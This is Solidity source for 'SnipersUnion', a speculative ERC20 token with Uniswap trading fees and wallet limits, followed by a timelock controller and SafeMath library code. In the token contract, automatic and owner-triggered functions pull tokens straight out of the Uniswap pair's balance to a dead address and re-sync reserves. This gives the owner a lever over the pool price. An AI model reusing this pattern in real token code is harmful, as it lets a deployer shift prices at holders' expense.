* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
////// src/IUniswapV2Factory.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
////// src/IUniswapV2Pair.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
////// src/IUniswapV2Router02.sol
/* pragma solidity 0.8.10; */
/* pragma experimental ABIEncoderV2; */
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract SnipersUnion is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
address public marketingWallet;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public percentForLPBurn = 25; // 25 = .25%
bool public lpBurnEnabled = true;
uint256 public lpBurnFrequency = 3600 seconds;
uint256 public lastLpBurnTime;
uint256 public manualBurnFrequency = 30 minutes;
uint256 public lastManualLpBurnTime;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyMarketingFee;
uint256 public buyLiquidityFee;
uint256 public buyDevFee;
uint256 public sellTotalFees;
uint256 public sellMarketingFee;
uint256 public sellLiquidityFee;
uint256 public sellDevFee;
uint256 public tokensForMarketing;
uint256 public tokensForLiquidity;
uint256 public tokensForDev;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event UpdateUniswapV2Router(
address indexed newAddress,
address indexed oldAddress
);
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event marketingWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event devWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event AutoNukeLP();
event ManualNukeLP();
constructor() ERC20("Snipers Civil Liberties Union", "SNIPERSUNION") {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
excludeFromMaxTransaction(address(uniswapV2Pair), true);
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
uint256 _buyMarketingFee = 2;
uint256 _buyLiquidityFee = 0;
uint256 _buyDevFee = 1;
uint256 _sellMarketingFee = 2;
uint256 _sellLiquidityFee = 0;
uint256 _sellDevFee = 1;
uint256 totalSupply = 1_000_000_000 * 1e18;
maxTransactionAmount = 30_000_000 * 1e18; // 3% from total supply maxTransactionAmountTxn
maxWallet = 60_000_000 * 1e18; // 6% from total supply maxWallet
swapTokensAtAmount = (totalSupply * 5) / 10000; // 0.05% swap wallet
buyMarketingFee = _buyMarketingFee;
buyLiquidityFee = _buyLiquidityFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellMarketingFee = _sellMarketingFee;
sellLiquidityFee = _sellLiquidityFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
marketingWallet = address(0x3B01521fcc21B671Ce158d9cd0c40cE62c279578); // set as marketing wallet
devWallet = address(0xFD31759922392b0CBA8f18cD0c13E5B3F8917F82); // set as dev wallet
// exclude from paying fees or having max transaction amount
excludeFromFees(owner(), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
}
receive() external payable {}
// once enabled, can never be turned off
function enableTrading() external onlyOwner {
tradingActive = true;
swapEnabled = true;
lastLpBurnTime = block.timestamp;
}
// remove limits after token is stable
function removeLimits() external onlyOwner returns (bool) {
limitsInEffect = false;
return true;
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner returns (bool) {
transferDelayEnabled = false;
return true;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
require(
newAmount >= (totalSupply() * 1) / 100000,
"Swap amount cannot be lower than 0.001% total supply."
);
require(
newAmount <= (totalSupply() * 5) / 1000,
"Swap amount cannot be higher than 0.5% total supply."
);
swapTokensAtAmount = newAmount;
return true;
}
function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 1) / 1000) / 1e18,
"Cannot set maxTransactionAmount lower than 0.1%"
);
maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set maxWallet lower than 0.5%"
);
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner {
swapEnabled = enabled;
}
function updateBuyFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(
uint256 _marketingFee,
uint256 _liquidityFee,
uint256 _devFee
) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(
pair != uniswapV2Pair,
"The pair cannot be removed from automatedMarketMakerPairs"
);
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet)
external
onlyOwner
{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
) {
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (
automatedMarketMakerPairs[from] &&
!_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxTransactionAmount,
"Buy transfer amount exceeds the maxTransactionAmount."
);
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
//when sell
else if (
automatedMarketMakerPairs[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxTransactionAmount,
"Sell transfer amount exceeds the maxTransactionAmount."
);
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(
amount + balanceOf(to) <= maxWallet,
"Max wallet exceeded"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if (
!swapping &&
automatedMarketMakerPairs[to] &&
lpBurnEnabled &&
block.timestamp >= lastLpBurnTime + lpBurnFrequency &&
!_isExcludedFromFees[from]
) {
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForDev += (fees * sellDevFee) / sellTotalFees;
tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForDev += (fees * buyDevFee) / buyTotalFees;
tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity +
tokensForMarketing +
tokensForDev;
bool success;
if (contractBalance == 0 || totalTokensToSwap == 0) {
return;
}
if (contractBalance > swapTokensAtAmount * 20) {
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
totalTokensToSwap /
2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
totalTokensToSwap
);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success, ) = address(devWallet).call{value: ethForDev}("");
if (liquidityTokens > 0 && ethForLiquidity > 0) {
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(
amountToSwapForETH,
ethForLiquidity,
tokensForLiquidity
);
}
(success, ) = address(marketingWallet).call{
value: address(this).balance
}("");
}
function setAutoLPBurnSettings(
uint256 _frequencyInSeconds,
uint256 _percent,
bool _Enabled
) external onlyOwner {
require(
_frequencyInSeconds >= 600,
"cannot set buyback more often than every 10 minutes"
);
require(
_percent <= 1000 && _percent >= 0,
"Must set auto LP burn percent between 0% and 10%"
);
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool) {
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(
10000
);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent)
external
onlyOwner
returns (bool)
{
require(
block.timestamp > lastManualLpBurnTime + manualBurnFrequency,
"Must wait for cooldown to finish"
);
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0) {
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
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|
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/access/TimelockController.sol";
contract Timelock is TimelockController {
constructor(uint256 minDelay, address[] memory proposers, address[] memory executors) TimelockController(minDelay, proposers,executors ) public {
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.9 <0.8.0;
pragma experimental ABIEncoderV2;
import "./../math/SafeMath.sol";
import "./AccessControl.sol";
/**
* @dev Contract module which acts as a timelocked controller. When set as the
* owner of an `Ownable` smart contract, it enforces a timelock on all
* `onlyOwner` maintenance operations. This gives time for users of the
* controlled contract to exit before a potentially dangerous maintenance
* operation is applied.
*
* By default, this contract is self administered, meaning administration tasks
* have to go through the timelock process. The proposer (resp executor) role
* is in charge of proposing (resp executing) operations. A common use case is
* to position this {TimelockController} as the owner of a smart contract, with
* a multisig or a DAO as the sole proposer.
*
* _Available since v3.3._
*/
contract TimelockController is AccessControl {
bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE");
bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE");
bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE");
uint256 internal constant _DONE_TIMESTAMP = uint256(1);
mapping(bytes32 => uint256) private _timestamps;
uint256 private _minDelay;
/**
* @dev Emitted when a call is scheduled as part of operation `id`.
*/
event CallScheduled(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data, bytes32 predecessor, uint256 delay);
/**
* @dev Emitted when a call is performed as part of operation `id`.
*/
event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data);
/**
* @dev Emitted when operation `id` is cancelled.
*/
event Cancelled(bytes32 indexed id);
/**
* @dev Emitted when the minimum delay for future operations is modified.
*/
event MinDelayChange(uint256 oldDuration, uint256 newDuration);
/**
* @dev Initializes the contract with a given `minDelay`.
*/
constructor(uint256 minDelay, address[] memory proposers, address[] memory executors) public {
_setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE);
_setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE);
// deployer + self administration
_setupRole(TIMELOCK_ADMIN_ROLE, _msgSender());
_setupRole(TIMELOCK_ADMIN_ROLE, address(this));
// register proposers
for (uint256 i = 0; i < proposers.length; ++i) {
_setupRole(PROPOSER_ROLE, proposers[i]);
}
// register executors
for (uint256 i = 0; i < executors.length; ++i) {
_setupRole(EXECUTOR_ROLE, executors[i]);
}
_minDelay = minDelay;
emit MinDelayChange(0, minDelay);
}
/**
* @dev Modifier to make a function callable only by a certain role. In
* addition to checking the sender's role, `address(0)` 's role is also
* considered. Granting a role to `address(0)` is equivalent to enabling
* this role for everyone.
*/
modifier onlyRole(bytes32 role) {
require(hasRole(role, _msgSender()) || hasRole(role, address(0)), "TimelockController: sender requires permission");
_;
}
/**
* @dev Contract might receive/hold ETH as part of the maintenance process.
*/
receive() external payable {}
/**
* @dev Returns whether an id correspond to a registered operation. This
* includes both Pending, Ready and Done operations.
*/
function isOperation(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > 0;
}
/**
* @dev Returns whether an operation is pending or not.
*/
function isOperationPending(bytes32 id) public view virtual returns (bool pending) {
return getTimestamp(id) > _DONE_TIMESTAMP;
}
/**
* @dev Returns whether an operation is ready or not.
*/
function isOperationReady(bytes32 id) public view virtual returns (bool ready) {
uint256 timestamp = getTimestamp(id);
// solhint-disable-next-line not-rely-on-time
return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp;
}
/**
* @dev Returns whether an operation is done or not.
*/
function isOperationDone(bytes32 id) public view virtual returns (bool done) {
return getTimestamp(id) == _DONE_TIMESTAMP;
}
/**
* @dev Returns the timestamp at with an operation becomes ready (0 for
* unset operations, 1 for done operations).
*/
function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) {
return _timestamps[id];
}
/**
* @dev Returns the minimum delay for an operation to become valid.
*
* This value can be changed by executing an operation that calls `updateDelay`.
*/
function getMinDelay() public view virtual returns (uint256 duration) {
return _minDelay;
}
/**
* @dev Returns the identifier of an operation containing a single
* transaction.
*/
function hashOperation(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(target, value, data, predecessor, salt));
}
/**
* @dev Returns the identifier of an operation containing a batch of
* transactions.
*/
function hashOperationBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt) public pure virtual returns (bytes32 hash) {
return keccak256(abi.encode(targets, values, datas, predecessor, salt));
}
/**
* @dev Schedule an operation containing a single transaction.
*
* Emits a {CallScheduled} event.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function schedule(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_schedule(id, delay);
emit CallScheduled(id, 0, target, value, data, predecessor, delay);
}
/**
* @dev Schedule an operation containing a batch of transactions.
*
* Emits one {CallScheduled} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function scheduleBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt, uint256 delay) public virtual onlyRole(PROPOSER_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == datas.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);
_schedule(id, delay);
for (uint256 i = 0; i < targets.length; ++i) {
emit CallScheduled(id, i, targets[i], values[i], datas[i], predecessor, delay);
}
}
/**
* @dev Schedule an operation that is to becomes valid after a given delay.
*/
function _schedule(bytes32 id, uint256 delay) private {
require(!isOperation(id), "TimelockController: operation already scheduled");
require(delay >= getMinDelay(), "TimelockController: insufficient delay");
// solhint-disable-next-line not-rely-on-time
_timestamps[id] = SafeMath.add(block.timestamp, delay);
}
/**
* @dev Cancel an operation.
*
* Requirements:
*
* - the caller must have the 'proposer' role.
*/
function cancel(bytes32 id) public virtual onlyRole(PROPOSER_ROLE) {
require(isOperationPending(id), "TimelockController: operation cannot be cancelled");
delete _timestamps[id];
emit Cancelled(id);
}
/**
* @dev Execute an (ready) operation containing a single transaction.
*
* Emits a {CallExecuted} event.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function execute(address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt) public payable virtual onlyRole(EXECUTOR_ROLE) {
bytes32 id = hashOperation(target, value, data, predecessor, salt);
_beforeCall(predecessor);
_call(id, 0, target, value, data);
_afterCall(id);
}
/**
* @dev Execute an (ready) operation containing a batch of transactions.
*
* Emits one {CallExecuted} event per transaction in the batch.
*
* Requirements:
*
* - the caller must have the 'executor' role.
*/
function executeBatch(address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt) public payable virtual onlyRole(EXECUTOR_ROLE) {
require(targets.length == values.length, "TimelockController: length mismatch");
require(targets.length == datas.length, "TimelockController: length mismatch");
bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt);
_beforeCall(predecessor);
for (uint256 i = 0; i < targets.length; ++i) {
_call(id, i, targets[i], values[i], datas[i]);
}
_afterCall(id);
}
/**
* @dev Checks before execution of an operation's calls.
*/
function _beforeCall(bytes32 predecessor) private view {
require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency");
}
/**
* @dev Checks after execution of an operation's calls.
*/
function _afterCall(bytes32 id) private {
require(isOperationReady(id), "TimelockController: operation is not ready");
_timestamps[id] = _DONE_TIMESTAMP;
}
/**
* @dev Execute an operation's call.
*
* Emits a {CallExecuted} event.
*/
function _call(bytes32 id, uint256 index, address target, uint256 value, bytes calldata data) private {
// solhint-disable-next-line avoid-low-level-calls
(bool success,) = target.call{value: value}(data);
require(success, "TimelockController: underlying transaction reverted");
emit CallExecuted(id, index, target, value, data);
}
/**
* @dev Changes the minimum timelock duration for future operations.
*
* Emits a {MinDelayChange} event.
*
* Requirements:
*
* - the caller must be the timelock itself. This can only be achieved by scheduling and later executing
* an operation where the timelock is the target and the data is the ABI-encoded call to this function.
*/
function updateDelay(uint256 newDelay) external virtual {
require(msg.sender == address(this), "TimelockController: caller must be timelock");
emit MinDelayChange(_minDelay, newDelay);
_minDelay = newDelay;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
